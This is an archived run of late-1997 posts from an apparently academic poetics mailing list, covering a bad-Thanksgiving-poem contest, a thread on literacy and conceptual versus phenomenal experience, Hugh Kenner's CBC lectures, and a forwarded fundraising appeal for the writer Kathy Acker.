On what basis does your dyslexic friend see alienation from the phenomenal world as the price of literacy? Does he make that claim only for himself &/or other dyslexics, or for everyone, or only for non-dyslecics? Does he see that cost as permanent, or as operative only when slamdunking such moolah into toll-booths on the turnpike of actual reading/writing practice? Would he make a similar claim about orality, which has its own not-necessarily-natural orders? How does he compose?

Dan Zimmerman
Middlesex County College
Edison, NJ 08818-3050

↑ Index

545. IMBURGIA
Re: bad thanksgiving poem
Wed 26 Nov 1997

You are welcome! Spiritdove. (Dan Imburgias' wife...Ojibwa!)

From: hen[SMTP:[redacted]]
Sent: Wednesday, November 26, 1997 10:42 AM
To: [redacted]
Subject: Re: bad thanksgiving poem

Thanks, "Imburgia". Good to take the true spirit of the day out of the "bad poetry" category. a good reminder. - Henry G.

↑ Index

546. david bromige
one more entry for the Turkey Award
Wed 26 Nov 1997

Congratulations, Henry on a real turkey of a poem, really really bad. You should get the prize. But the poster with the whidby e-ddress is pretty bad, too, once we dissociate the lofty sentiments from the execrable form, which was surely that person's intent, in calling their poem "bad".-- Since nothing else is going on on the List (has everyone gone elsewhere for Thanksgiving?--Joel, are you there? if so, b-c me!) I take the liberty to post my entry in the turkey-poem sweepstakes. It ensues forthwith :

A Thanksgiving Poem That Would Be Bad If It Only Could

I am a stranger in your land
You are the Indians just for now
and I am you in a likewise temporary manner
Explaining your odd & divers customs
Pouring forthright explanations into my sly European ear. . .
I quote Ed Van Aelstyn, then Editor of the _Northwest Review_
When I was Poetry Editor
And Ed wanted to run in the same issue (this was in 1963)
(1) a photo-essay by Roger Prentice clearly favorable to Castro's Cuba
(2) McClure's translation of Artaud's
"To Have Done With the Judgement of God"
and (3) a Whalen poem in which he says "I must stop masturbating so often"
And I said "Ed, not all 3 in one issue, self-abuse, treason, blasphemy,
You're going to kill the bird
that has been laying such golden eggs" and Ed says
"Enough of you, & of Richard Sassoon (a fellow-editor of Euro-U.S.
background) with your sly European ways"
I reckon that "bird" was a "turkey"
after the university admin were thru with us
They made it into an organ of little future interest
Just the way it had been before Van took over
When he was just a grad student at U of O
which he was when we first met (1962)
It was a student writers' conference at Eugene
George Bowering and I drove down from Vancouver to attend
We got drunk on Gallo Port (the same wine winos drink)
And at the party chez Van Aelstyn we played charades
(All of us, not just George & me)
And next morning back at our motel
(Which was an old-style motel, i.e., cabins)
GB came into my cabin where I was laying on my bed of pain
thinking about the filling that has just come out of my tooth
Due I decided to drinking Gallo Port & resolving not to do so again
(And I never have) and he said "Aren't you ashamed of yourself?"
To which naturally I responded "Why, what did I do?", because
In those days I didn't have complete recall of what had happened
after I got drunk at parties) and predictably he responded
"Why, don't you remember?" to which I of course replied
"Would I be asking if I did, you Prince?!" [except I didn't say "Prince"]
And George said "You don't remember playing charades?"
And I said, "Yeah, sortof, why?" And he said
"We were acting out book titles" and I said "Uh-huh"

And he said, grinning that goofy grin of his,
"And yours was 'The Naked and the Dead'"
But I had suddenly lost interest
Because being highly distractable I had focussed on George's pjs
Which were boldly striped and cut short on the arms
So the thin arms of the poet stuck out from the pjs
Reminding me of a deckchair in a high wind
On the way back George drove all the way very fast
Because he wanted to be with his girlfriend of the moment
And also because he thought he was "On the Road" Bowering
But the rest of us in the car well we weren't so sure
Ed made me Poetry Editor I guess he liked my charade {btw, none of this
Had happened at Thanksgiving, this was in the spring}
He would send me the submissions in Berkeley where I had moved to
And I would lose them among my stacks of students' papers
And the notes for grad essays & seminar papers & some poems
Ed would get mad at me then I'd find most of them
Most of them were really bad poems
But then I got the word out around Frisco & Beserkeley
So poets like McClure (not McCluen, aka McKuen(or McCluhan??)
and Whalen sent their stuff and then all came about as I have already told
which resulted in the loss of my modest stipend
and Ed being fired but then that was all for the good
Because he got a job at SF State
and he was a linguist and he taught linguistics to Ron Silliman
so that was how Language Poetry began now that wasn't too bad was it?
And Van and Jim Koller and Will Wroth I _think_ started up _Coyote's Journal_
Which was sort of a journal of Projective Verse/ Snyderean ecoconsciousness
It had an honorable table of contents not too dusty either huh?
So when they wheel that sucker in on Thursday
(lets hope thoroughly cooked so all the guests dont get sick and/or die)
And while grandma is crossing herself & saying grace
remember the Canadian grace "Good drink, Good meat, Good God, Let's eat"
& remember the phrase "The naked and the dead"
Think of people on this day who don't have any clothes to wear
or don't have any life to move them from place to place
To lift a fork to their mouths and chew
For some of us it will be our last Thanksgiving although we don't know that
at the time not usually and being slightly hysterical I don't want
to experience
that sense of pervasive unreality I experience when I think of my own chemise
I expect I shall do as I have done for many years now

Imitate the natives, eat too much, cultivate turkey torpor
(which is an 'improvement' on a phrase of Richard Brautigan's,
after he had cooked us an italian meal, "5 minutes now to spaghetti torpor")
And since it would be unsocial to go to my study & write
Watch 3 football games instead now I am beginning to grasp american football
How it reveals the American genius for organization as Watten wrote recently
Think of past Thanksgivings when lively persons of the poetic persuasion
Graced my dinner table (not cooked & stuffed, I mean they sat there)
(But not as in "they just sat there"--they might jump up to recite
or to get another bottle or to tidy their dirty dishes away
While I just sat there in poetic torpor) and so to bed eventually
at such a loss for words our last words were likely Happy Thanksgiving!

Ebenezer MacGonagal.

↑ Index

547. L.MacMahon and T.R.Healy

Wild Honey Ad.

Wed 26 Nov 1997

Wild Honey Press is delighted to announce the publication of _Citation Suite_ by Robert Archambeau. It's a beautiful book which takes quotations from Virginia Woolf, Plato, E.M. Forster, Naipaul, Richard Rorty, Shelley, William Morris and Nathaniel Tarn and weaves them with other material in a meditation on culture and legibility. For a book written with such a light touch it has a remarkable way of coming back into mind. Insights, witticisms, lovely phrases.

I'm not sure how to put this but it acts on the boundary between the well innovative and the mainstream in very interesting ways. Yes it is consciously constructed, works with constraints, undermines the monogrammed metaphor. But there is a joyfully lyrical presence, not so much in the diction or anything obviously nail-downable, but in the movement from feeling to idea.

Available from Wild Honey Books, 16a Ballyman Rd., Bray, Co. Wicklow, Ireland, e-mail [redacted] as above.

Price £3.50 (U.K. & Ireland) or $5 (bills, no checks) or in exchange for a poem or indeed any piece of writing in any form.

Best to all,

Randolph Healy.

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548. **Brian Carpenter**
Re: krad kolodny, bad poet of used dog urine
Wed 26 Nov 1997

Harold--

What CBC program was this on and when is that show? In some parts of Seattle here one can catch the CBC radio bleedover signal from Victoria, BC. (FCC-free radio is a blessed thing.) Anyhow, would quite like to know more about it. Many thanks.

BC

On Wed, 26 Nov 1997, Harold Rhenisch wrote:

> *Hugh Kenner was recently on CBC radio, saying that the Shakespeare of the sonnets might have been a literary hack, writing the sonnets to the order of lovers of various kinds, for pay. Kenner based this on Pound's comment that he had done the same for the guards at St. Elizabeth's, who wanted poems to send to their sweethearts. I wonder if any of those have survived?*
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> *I did a quick web search for bad poetry. Dull. Awful poetry. Duller. I did what I should have done in the first place: used dog urine. Well, well, well. I found a site called "Don't rub his nose in it". I think it is a new, alternative poetics web-site in disguise. From there:*
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> *"The most important part of housetraining goes on not in your house but in your mind."*
> *"The biggest mistakes made in housetraining are made by the owners, not the puppy. These mistakes can mean the difference between a reliable, well-trained canine companion and a dog who has to be watched and restricted for the rest of his life."*
> *"New dog owners often don't understand how dogs think. The new owner believes that his puppy thinks the same way he does - and has the same ability to understand tough concepts such as cause and effect or evidence. This is simply not true."*
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> *"I heard from Dr. Grow that dog urine (of all things) can be substituted, and will pass the test! ... This subsection assumes you have a clean dog....It would make more sense to use human urine, but dog urine provides a workable substitution in an emergency."*
>
> *and remember, if you fail:*

> *"If you're an adult, contact ACLU. If you're a child, don't bother; ACLU won't do anything for children who fail the drug test."*
>
> *From the Red Shift to the ACLU, poetics does indeed infiltrate all levels of society.*
>
> *Harold Rhenisch*
> *[redacted]*
> *108 Mile Ranch, B.C.*

↑ Index

549. **Mark Weiss**
(no subject)
Wed 26 Nov 1997

Not poetry, but fun: check out the international Herald Tribune (iht.com) tomorrow--they usually reprint Art Buchwald's classic attempt to explain Thanksgiving to the French (Sample: Miles Standish becomes Kilometres Deboutish).

↑ Index

550. **Jordan Davis**
Re: one more entry for the Turkey Award
Wed 26 Nov 1997

Dear sir we appreciate very much your poem however we take issue with your discreption of american football as having to do with american managerial practice when it is an allegory of territorialism and (as c.b. says intellectual property is also theft) have a nice meal and remain calm. Jordan

↑ Index

551. **Bob Grumman**
Re: literacy
Wed 26 Nov 1997

Judy Roitman's dyslexic friend makes an interesting point about literacy's price being alienation from the phenomenal world, but my own take is that full appreciation of the phenomenal world only comes from the ability to view it from the afar of conceptuality.

By the way, now that I'm posting two minute items close together, I'm reminded of the Buffalo site's daily quantity-of-posts maximum of 50. It shuts down for a day if more than 50 posts are made to it in any 24-hour period, or something like that. Does this site have anything similar?

--Bob G.

↑ Index

552. **Jerry E. Fletcher**
Re: Buy Nothing Day 1997
Thu 27 Nov 1997

No problem celebrating buy nothing day, I have no money. How about a coke? Is that off-limits?

↑ Index

553. **Charles Weigl**
[Fwd: [Fwd: friends of Kathy Acker]]
Thu 27 Nov 1997

---

via sendmail with P\:smtp/D:user/T:local
(sender: <[redacted]>) (ident <root> using rfc1413)
id <[redacted]>
for <[redacted]>; Tue, 25 Nov 1997 09:24:14 -1000 (HST)
(Smail-3.2.0.96 1997-Jun-2 #3 built 1997-Aug-20)
Date: Tue, 25 Nov 1997 09:29:03 -1000
From: Juliana Spahr <[redacted]>
To: [redacted]
Subject: [Fwd: friends of Kathy Acker]

This is a multi-part message in MIME format.

via sendmail with P\:esmtp/D:user/T:local
(sender: <[redacted]>)
id <[redacted]>
for <[redacted]>; Mon, 24 Nov 1997 23:25:54 -1000 (HST)
(Smail-3.2.0.96 1997-Jun-2 #3 built 1997-Aug-20)
by mrin53.mail.aol.com (8.8.5/8.7.3/AOL-2.0.0)
id EAA11064;
Tue, 25 Nov 1997 04:23:53 -0500 (EST)
Date: Tue, 25 Nov 1997 04:23:53 -0500 (EST)
From: [redacted]
To: [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],

[redacted], [redacted]
Subject: friends of Kathy Acker

As some of you may have heard, Kathy Acker is in crisis. She is in a hospital in Tijuana with cancer of the lung, liver and spleen. She is very weak and her only hope is the combined holistic and allopathic treatment she is receiving at American Biologics' clinic. But this help is costly and her financial resources are on the verge of running out. She has no medical insurance. Like many artists and writers, she was never able to secure benefits from any institution.

Kathy Acker was diagnosed with breast cancer in April 1996. Shortly thereafter she had a full mastectomy and there was some involvement in her lymph nodes. After the surgery she underwent extensive alternative therapies in San Francisco, then moved to London to be with friends in August '96. (This period is described in "The Gift of Disease") Over the summer of 1997 she suffered increasingly bad health, ranging from digestive disorders to pneumonia. Once back in San Francisco in the fall, her condition worsened and she finally was taken to the emergency room by Sharon Grace and Matias Viegener. At Davies Medical Center, she was told she had advanced cancer of the liver, pancreas, spleen, and lungs.

In the hospital, she was given few options but morphine and hospice care; Kathy chose to persue alternative treatment. On November 1, she was taken to American Biologics, a holistic integrated health clinic in Tijuana, Mexico. Thanks to treatment she is getting there, and her strong will, her condition is stable. However, she is running out of money. $28,000 of her savings of approximately $40,000 have already been spent in hospitalization in Mexico, and the bills from 8 days in Davies Medical Center in SF are already past $30,000 (these we hope to defer indefinitely; Medicare is still pending for at least part of them). The financial crisis is looming.

We have made arrangements with the John Giorno Fund for Artists with AIDS to be the receiver of any contributions (which would make them tax-deductible, and 100% of the donations will go to Kathy's bills). The address is Giorno Poetry Systems, 222 Bowery NY NY 10012; the check itself may be made out to JOHN GIORNO and on the memo line write "Kathy Acker Fund."

Kathy has a solid core of people caring for her and is happy with American Biologics' hospital, where Matias Viegener, Amy Scholder, Sylvere Lotringer, Ira Silverberg, and David Antin among others have been with her. As phone calls tend to exhaust her now, she asks that people who are concerned write her c/o American Biologics, Chula Vista, CA 91911 (this is the American office of the clinic).

Anything you can do would be appreciated. Please forward this email to anyone you believe can help.

Thank you,

Matias Viegener, Los Angeles (═══════) ═══════
with
David Antin, San Diego (═══════) ═══════
Sharon Grace, San Francisco (═══════) ═══════
Sylvere Lotringer, New York (═══════) ═══════
Amy Scholder, New York (═══════) ═══════
Ira Silverberg, New York (═══════) ═══════

ps: http://www.abmex.com/ is the website for American Biologics. http://acker.thehub.com.au/gift.html has KA's article of last winter about her cancer.

----------D0406EB15E679A6940059762--

↑ Index

554. **Douglas Barbour**
Re: Hugh Kenner on CBC
Thu 27 Nov 1997

For Brian Carpenter & any interested others:

Hugh Kenner delivered a weeks' worth of this year's Massey Lectures on the CBC radio program, "Ideas," last week. It may (indeed, probably will) be re-broadcast next summer, but it should certainly be made available in book form eventually. I forget the title, but he was dealing, very wittily the one segment I heard, with the culture of travel & bordercrossings etc. A kind of popular summing up of a lot of the ideas he has promoted throughout his career.

On another note:

between old gossip & new views of the pilgrim fathers etc, the 'bad poems' eally did their proper job, & how I do like the proper in poetry... thanks to all who cared enough to send their very worst...

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Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
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H: ═══════
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these words seem to be rehearsing -

the unquantifiable extinction of all similitudes

Roy Kiyooka

↑ Index

555. Harold Rhenisch

Kenner on the CBC

Thu 27 Nov 1997

Brian Carpenter wrote:

> *What CBC program was this on and when is that show? In some parts of Seattle here one can catch the CBC radio bleedover signal from Victoria, BC. (FCC-free radio is a blessed thing.) Anyhow, would quite like to know more about it. Many thanks.*

Brian,

it was on "Ideas" every night last week, from 9 to 10 p.m. Kenner was this year's Massey Lecturer, which is a big deal. He spoke on "The Elsewhere Community". Basically, his thesis was that western culture has been fertilized since at least Homer by the need to gain knowledge, and to gain this knowledge from somewhere else. More or less, it was a talk about mentorship. One night was Pound, another Joyce, another Williams, with anecdotes about Eliot, Beckett, Moore, Lowell, Homer, and a lot more besides.

You can get a text or taped copy from the CBC or a text copy, soon, through your bookstore.

The text is called "The Elsewhere Community" and it will be published by House of Anansi Press. The CBC will send you a copy for CDN$19. They will send you a set of tapes for CDN$53. The charges include shipping and taxes. Who knows if there is an extra charge for the U.S.

write to:
Massey Lectures, Ideas Transcripts, P.O. Box 500, Station A, Toronto, Ontario, Canada, M5W 1E6.

By the way, CBC is available on RealAudio, for people in Bosnia, Bulgaria, Slovakia, and, I suppose, the Autonomous Republic of Seattle.

Best,

Harold Rhenisch
[redacted]

↑ Index
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556. **Harold Rhenisch**
Re: literacy
Thu 27 Nov 1997

Bob Grumman wrote:

> *Judy Roitman's dyslexic friend makes an interesting point about literacy's price being alienation from the phenomenal world, but my own take is that full appreciation of the phenomenal world only comes from the ability to view it from the afar of conceptuality.*

Bob,

both are true, aren't they? Sure they are. Just different. That's why literacy is a price. You get the full appreciation, but it is from the afar of conceptuality. Mind you, who's defining 'full appreciation'? Mr. Phenomenal or Mr. Conceptual?

best,

Harold Rhenisch
[redacted]
108 Mile Ranch, B.C.

↑ Index

557. **Harold Rhenisch**
Re: Buy Nothing Day 1997
Thu 27 Nov 1997

> *No problem celebrating buy nothing day, I have no money. How about a coke? Is that off-limits?*

You mean that out there at IBM.NET you can get a coke without money?

HR ;-)

↑ Index

558. **Bob Grumman**
Re: literacy
Thu 27 Nov 1997

Harold Rhenisch gave me a question that might be the very first I've ever gotten from our discussion group that I KNOW I can answer with no fear of (sane) contradiction when he asked, "Who's defining 'full appreciation' (of the phenomenal world)? Mr. Phenomenal or Mr. Conceptual?" Answer: Only Mr. Conceptual would be able to define anything.

--Bob G.

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559. **Harold Rhenisch**

Re: literacy

Thu 27 Nov 1997

Bob Grumman wrote:

> *Harold Rhenisch gave me a question that might be the very first I've ever gotten from our discussion group that I KNOW I can answer with no fear of (sane) contradiction when he asked, "Who's defining 'full appreciation' (of the phenomenal world)? Mr. Phenomenal or Mr. Conceptual?" Answer: Only Mr. Conceptual would be able to define anything.*

--Bob G.

You're welcome, Bob. No trouble.

Well said.

Still, what would Mr. Phenomenal have to say about that? We can only guess. Very rightly you hint that he would have nothing to say. So?

I propose using the considerable resources of the western capitalist de mock race ease to erect a sliding barrier between the phenomenal and the conceptual, a barrier porous enough that a traveller starting out in the mountains of Phenomena could set off on a long journey across the steppes, s journey so long that when said traveller arrived at Mr. Concept's door, the traveller could speak only of the journey, in bright images, and any conceptual links would be incidental, and would, conceptually speaking, be the journey. Poor Mr. Concept would have to set out on the reverse journey. A conceptual conversation would ensure, surely, but it could not be reduced. To reduce it to anything else would be to step outside it. Poof! Mr. Concept would be sitting on his doorstep again, smoking his pipe in the evening, watching the sublime sun set through the sublime old fruit trees of abandoned orchards, and he would not even know that he was still on a journey, because he would have no phenomena by which to experience it.

Insanely,

Harold

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560. **david bromige**
literacy
Thu 27 Nov 1997

Concepts protect us from experience. So she had conceived.

↑ Index

561. **Bob Grumman**
Re: literacy
Thu 27 Nov 1997

david bromige wrote: "Concepts protect us from experience. So she had conceived." And experience protects one from concepts.

--Bob G.

↑ Index

562. **david bromige**
literacy/concept/phenom/thread
Fri 28 Nov 1997

Yes, Bob, but that formulation, "experience protects one from concepts," is conceptual. I agree that wisdom gleaned from experience gives one a wise mistrust of concepts, even though that too is a concept. But that wasn't all I was after when I wrote, "Concepts protect us from experience. So she had conceived." One, I imagined a concept, in "her" mind, as a condom; rejecting its use, she becomes pregnant ("so she had conceived.") I wanted to imply there is a price to pay for pooh-poohing the conceptual. But there is a price to pay for operating only via conceputal wisdoms--one of which might be the extinction of life itself ("for who would fardels bear"...or babies!?)

I don't think the balance you name quite operates by that sort of symmetry. I doubt that unconceptualized experience is available to us, so I don't see the conceptual and the experiential as true opposites. Granted, this is subject to a further turn of the screw, whereby, in order to preserve any meaning at all for the word _experience_ , we can argue that if all our experience is only experience of the conceptual, then that _is_ what experience means, ands that _is_ experience.

But out of such bottlenecks there is sometimes a way, if only via a retreat. Reading Merleau-Ponty is not the same as reading Fichte. So the "retreat" is from the general absolute towards the realm of the particular, which is I take it a phenomenological tack. For instance, I have now quite forgotten how this "literacy" thread turned into this concept v. phenomenon thread. David

↑ Index

563. **David R. Israel**
Re: literacy
Fri 28 Nov 1997

Bob Grumman wrote

> *david bromige wrote: "Concepts protect us from experience. So she had conceived." And experience protects one from concepts.*

so he had experienced

d.i.

↑ Index

564. **Bob Grumman**
Re: literacy/concept/phenom/thread
Fri 28 Nov 1997

David,

I think I'm with you all the way on this one. Although I did miss the concept/ condom pun. I don't think it's concept versus the phenomenal but concept added to the phenomenal world. I just saw a chance to make a quick score (I thought) on behalf of one of my buzz dogmas: the unreflected-on life isn't worth living.

I don't know how this discussion got started, either, but I do know I'm still having trouble with being in two discussion groups, this one and the modern poetry one, especially when someone like Harold R. writes two letters that arrive here at the same time, one to each group. So I've been answering some letters from thread in this group to the other group and vice versa. That includes the following comment for this concept/ phenomenal world thread that explains my position a little more:

As for pore Mister Conceptual's attempt to tell of his journey through the phenomenal world, you described it well. The conceptual must be founded on the sensual, or phenomenal. In fact, in my decidedly uncertified theory of psychology (now you're in for it), I call that part of the brain that deals with sensory information The Fundaceptual Awareness. The conceptual part of the brain I call The Reducticeptual Awareness. There are other -ceptual awarenesses I refuse to reveal at this time, but hope to discuss at a personal website before too long. Nothing too original about these awarenesses; they mostly follow Howard Gardner's ideas--which, in turn, are not particularly original, either.

--Bob G.

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565. Pierre Joris
for your amusement
Fri 28 Nov 1997

For your amusement, check out the following piece from the IHT re Rushdie vs Le Carré in the letter columns of the Guardian.

http://www.iht.com/IHT/TODAY/THU/FPAGE/feud.html

will keep you another 10 minutes from going out & shopping on the day after.

happy post-gobble daze,

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Adding music to a good poem is like using a stained-glass
window to light a painted picture. — Paul Valéry
==========

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566. Steven Marks
"*gang*" *review*
Fri 28 Nov 1997

Listfolks,

Just wanted to alert y'all to a review I wrote for latest issue of _American Book Review_. Chapbooks and websites reviewed are those of Mark Wallace, Kristin Prevallet, Jeffeson Hansen, Wendy Battin and Jena Osman. Chapbooks are available from Mary Hilton's primitive publications, 1706 U St., NW, #102, Washington, D.C. They are:

The Haunted Baronet, by Mark Wallace
Lead, Glass and Poppy, by Kristin Prevallet
Why I Am Not a Christian, by Jefferson Hansen

Websites reviewed are at:

http://camel.conncoll.edu/ccother/wjbat

http://writing.upenn.edu/epc/authors/osman

Many other familiar names of reviewers in this issue as well.

cheers,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

567. KENT JOHNSON
phenomena
Fri 28 Nov 1997

It's Buy Nothing Day, and I haven't bought a thing. But now I'm wondering: Is the nature of that act (or non-act) mainly phenomenal or conceptual? Is "not-buying" phenomenal things for a day something like an _idea_ with no phenomenal status at all, like, for example, the "just yet" in "I have to go to the bathroom after all that turkey, but I'm not going to go_ just yet_"? (I think Wittgenstein said something like that.) Or is it _commodities_ that are purely conceptual and their "thingness" only index of a phenomenally (historical relations of production, exchange, etc.) constructed fetishism which is, of course, ideological and thus conceptual through and through? In other words, are social relations and our actions that help make them up (like buying or not-buying) _more real_ than all those apparent "things" up for sale? (I think Marx said something like that.)

But what if not-buying really_is_ just a concept? I mean if commodities are only conceptual in nature and my one-day act of resistance to them is, from an ontological standpoint (am I using ontological correctly here?), not disimilar from them, then is it possible that "buying-nothingness" is actually a kind of commodity (like a scentless perfume suddenly all the rage) that enters into a deeper set of real and existing relations that are obscured from me?

And is that question in any way applicable to all poetry today?

I honestly don't know, and it's driving me so crazy that I'm just glad I bought twice as much to drink yesterday knowing that I wouldn't be buying anything today. Cheers to the violence within that protects us from the violence without.

Kent

↑ Index

568. **KENT JOHNSON**
Bromige and Tennyson
Fri 28 Nov 1997

By the way, did anyone notice that David Bromige's supposedly "bad" entry for the Turkey Award, "A Thanksgiving Poem That Would Be Bad If Only It Could", is actually a sustained quantitative alternation (albeit with a few variations) of Alcaic and Sapphic verses? I have an eye for these things ever since I discovered that Tennyson's "Hesperides," generally considered to be a failed poem because it doesn't scan accentually, is a quantitative experiment with the amphimacer as insistent meter within longer aeolic units. It fits with the theme: Hercules was originally from Crete. I almost got the paper published in Victorian Poetry, but one of the readers said that surely, if ALT had intended such, we would find something in his notes and letters about it! Talk about stuffy... Kent

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569. **David R. Israel**
Re: phenomena
Sat 29 Nov 1997

Kent,

it's beyond me to reply to all your points, so here's just a part --

> *But what if not-buying really_is_just a concept? I mean if commodities are only conceptual in nature . . .*

no no, they're not only conceptual in nature. They have physical substantiation.

If you try to say they're only conceptual, I'm just not buying it.

> *. . . is it possible that "buying-nothingness" is actually a kind of commodity (like a scentless perfume suddenly all the rage) that enters into a deeper set of real and existing relations that are obscured from me?*

I don't know, but I just checked out the "Cafe Nirvana" on the Tricycle site (http://www.tricycle.com/). The slogan might be germane to this discussion? --

"It's Always Empty,
Even When You're There"

I woulda gone shopping if I hadn't stayed at home.

d.i.

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.....
.....
\\\

```
  >   david   raphael   israel   <
  >>     washington  d.c.     <<
| ▇▇▇▇▇▇▇  (home)
| ▇▇▇▇▇▇▇     (office)
==========================
|  thy centuries follow each other
|  perfecting a small wild flower
|                              (Tagore)
////////////////////////////////////////\\\\\/////
```

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570. **Harold Rhenisch**
Re: literacy/concept/phenom/thread
Sat 29 Nov 1997

> *I don't know how this discussion got started, either.*

With thoughts on dyslexia generating the insight that literacy's price was a loss of the phenomenal world, following up my thoughts on literacy being a price paid.

> *I'm still having trouble with being in two discussion groups, this one and the modern poetry one, especially when someone like Harold R. writes two letters that arrive here at the same time, one to each group. So I've been answering some letters from thread in this group to the other group and vice versa.*

Bizarre, isn't it.

Harold

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571. **Gwyn McVay**
Guest festschrift at Brown
Sun 30 Nov 1997

Can anyone point me toward more information on the 1994 festschrift on Barbara Guest? (I'm starting from point zero--all I know is that such a thing did happen--so any and all leads would be greatly appreciated.)

Found poetics department--and a reminder to be really specific about those web search parameters--you wouldn't *believe* the number of women named Barbara who have guest books on their web pages.

thanks--
Gwyn

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572. **Annie Finch**
Re: Bromige and Tennyson
Sun 30 Nov 1997

Dear Kent,

Does "The Hesperides" have another title? I can't find it in my complete Tennyson. And now I'm very curious. . ..

This is also the first I've heard of a connection between cretics and Crete. Do you know more about that and could you point me to a reference?

My Princeton ency. has led me to an inconsequential poem of ALT's in cretics called "The Oak," b ut that's it.

Annie..

> *Dear Annie:*
>
> *Thanks for the note. Yes, just a bit of fun, though I do think I might have a point about ALT's "The Hesperides" (though what I said about Hercules was a little clue to the joke about Bromige). But the cretic is the dominant pattern in that poem, especially when the Hesperides "sing," and it is interesting that Crete may be the most logical site for this particular labor of Hercules. All of which is pretty esoteric, but there you have it. Feel free to forward this to the list if you want. There's been nothing on there in the past two days, and I'm a bit worried that everyone is busy trying to do a quantitative analysis of DB's turkey poem!*
> *best,*
> *Kent*
>
> *Date: Sun, 30 Nov 1997 14:11:52 -0500*
> *To:* [redacted]
> *From:* [redacted] *(Annie Finch)*
> *Subject: Re: Bromige and Tennyson*
>
> *Dear Kent,*
>
> *Your remarks on the scansion are a joke, right? I'm backchanneling this because if they are, I'm embarrassed that I don't get it. If it's not a joke, please feel free to forward my present message and your reply to the list so we can discuss the prosody on the list---it would make a nice change of pace, don't you think?*
>
> *I really liked your comment about the commodification of the buy nohting concept and do think it applies to poetry.*
>
> *More on that later.*

Annie

By the way, did anyone notice that David Bromige's supposedly "bad" entry for the Turkey Award, "A Thanksgiving Poem That Would Be Bad If Only It Could", is actually a sustained quantitative alternation (albeit with a few variations) of Alcaic and Sapphic verses? I have an eye for these things ever since I discovered that Tennyson's "Hesperides," generally considered to be a failed poem because it doesn't scan accentually, is a quantitative experiment with the amphimacer as insistent meter within longer aeolic units. It fits with the theme: Hercules was originally from Crete. I almost got the paper published in Victorian Poetry, but one of the readers said that surely, if ALT had intended such, we would find something in his notes and letters about it! Talk about stuffy...
Kent

A Thanksgiving Poem That Would Be Bad If It Only Could

I am a stranger in your land
You are the Indians just for now
and I am you in a likewise temporary manner
Explaining your odd & divers customs
Pouring forthright explanations into my sly European ear. . .
*I quote Ed Van Aelstyn, then Editor of the _Northwest Review_*
When I was Poetry Editor
And Ed wanted to run in the same issue (this was in 1963)
(1) a photo-essay by Roger Prentice clearly favorable to Castro's Cuba
(2) McClure's translation of Artaud's
"To Have Done With the Judgement of God"
and (3) a Whalen poem in which he says "I must stop masturbating so often"
And I said "Ed, not all 3 in one issue, self-abuse, treason, blasphemy,
You're going to kill the bird
that has been laying such golden eggs" and Ed says
"Enough of you, & of Richard Sassoon (a fellow-editor of Euro-U.S.
background) with your sly European ways"
I reckon that "bird" was a "turkey"
after the university admin were thru with us
They made it into an organ of little future interest
Just the way it had been before Van took over
When he was just a grad student at U of O
which he was when we first met (1962)
It was a student writers' conference at Eugene
George Bowering and I drove down from Vancouver to attend
We got drunk on Gallo Port (the same wine winos drink)
And at the party chez Van Aelstyn we played charades
(All of us, not just George & me)

And next morning back at our motel
(Which was an old-style motel, i.e., cabins)
GB came into my cabin where I was laying on my bed of pain
thinking about the filling that has just come out of my tooth
Due I decided to drinking Gallo Port & resolving not to do so again
(And I never have) and he said "Aren't you ashamed of yourself?"
To which naturally I responded "Why, what did I do?", because
In those days I didn't have complete recall of what had happened
after I got drunk at parties) and predictably he responded
"Why, don't you remember?" to which I of course replied
"Would I be asking if I did, you Prince?!" [except I didn't say "Prince"]
And George said "You don't remember playing charades?"
And I said, "Yeah, sortof, why?" And he said
"We were acting out book titles" and I said "Uh-huh"
And he said, grinning that goofy grin of his,
"And yours was 'The Naked and the Dead'"
But I had suddenly lost interest
Because being highly distractable I had focussed on George's pjs
Which were boldly striped and cut short on the arms
So the thin arms of the poet stuck out from the pjs
Reminding me of a deckchair in a high wind
On the way back George drove all the way very fast
Because he wanted to be with his girlfriend of the moment
And also because he thought he was "On the Road" Bowering
But the rest of us in the car well we weren't so sure
Ed made me Poetry Editor I guess he liked my charade {btw, none of this
Had happened at Thanksgiving, this was in the spring}
He would send me the submissions in Berkeley where I had moved to
And I would lose them among my stacks of students' papers
And the notes for grad essays & seminar papers & some poems
Ed would get mad at me then I'd find most of them
Most of them were really bad poems
But then I got the word out around Frisco & Beserkeley
So poets like McClure (not McCluen, aka McKuen(or McCluhan??)
and Whalen sent their stuff and then all came about as I have already told
which resulted in the loss of my modest stipend
and Ed being fired but then that was all for the good
Because he got a job at SF State
and he was a linguist and he taught linguistics to Ron Silliman
so that was how Language Poetry began now that wasn't too bad was it?
*And Van and Jim Koller and Will Wroth I _think_ started up _Coyote's Journal_*
Which was sort of a journal of Projective Verse/ Snyderean ecoconsciousness
It had an honorable table of contents not too dusty either huh?
So when they wheel that sucker in on Thursday
(lets hope thoroughly cooked so all the guests dont get sick and/or die)
And while grandma is crossing herself & saying grace
remember the Canadian grace "Good drink, Good meat, Good God, Let's eat"
& remember the phrase "The naked and the dead"

> *Think of people on this day who don't have any clothes to wear*
> *or don't have any life to move them from place to place*
> *To lift a fork to their mouths and chew*
> *For some of us it will be our last Thanksgiving although we don't know that*
> *at the time not usually and being slightly hysterical I don't want*
> *to experience*
> *that sense of pervasive unreality I experience when I think of my own chemise*
> *I expect I shall do as I have done for many years now*
> *Imitate the natives, eat too much, cultivate turkey torpor*
> *(which is an 'improvement' on a phrase of Richard Brautigan's,*
> *after he had cooked us an italian meal, "5 minutes now to spaghetti torpor")*
> *And since it would be unsocial to go to my study & write*
> *Watch 3 football games instead now I am beginning to grasp american football*
> *How it reveals the American genius for organization as Watten wrote recently*
> *Think of past Thanksgivings when lively persons of the poetic persuasion*
> *Graced my dinner table (not cooked & stuffed, I mean they sat there)*
> *(But not as in "they just sat there"--they might jump up to recite*
> *or to get another bottle or to tidy their dirty dishes away*
> *While I just sat there in poetic torpor) and so to bed eventually*
> *at such a loss for words our last words were likely Happy Thanksgiving!*
>
> *Annie Finch (Homepage: http://www.muohio.edu/~finchar/)*
> *Department of English*
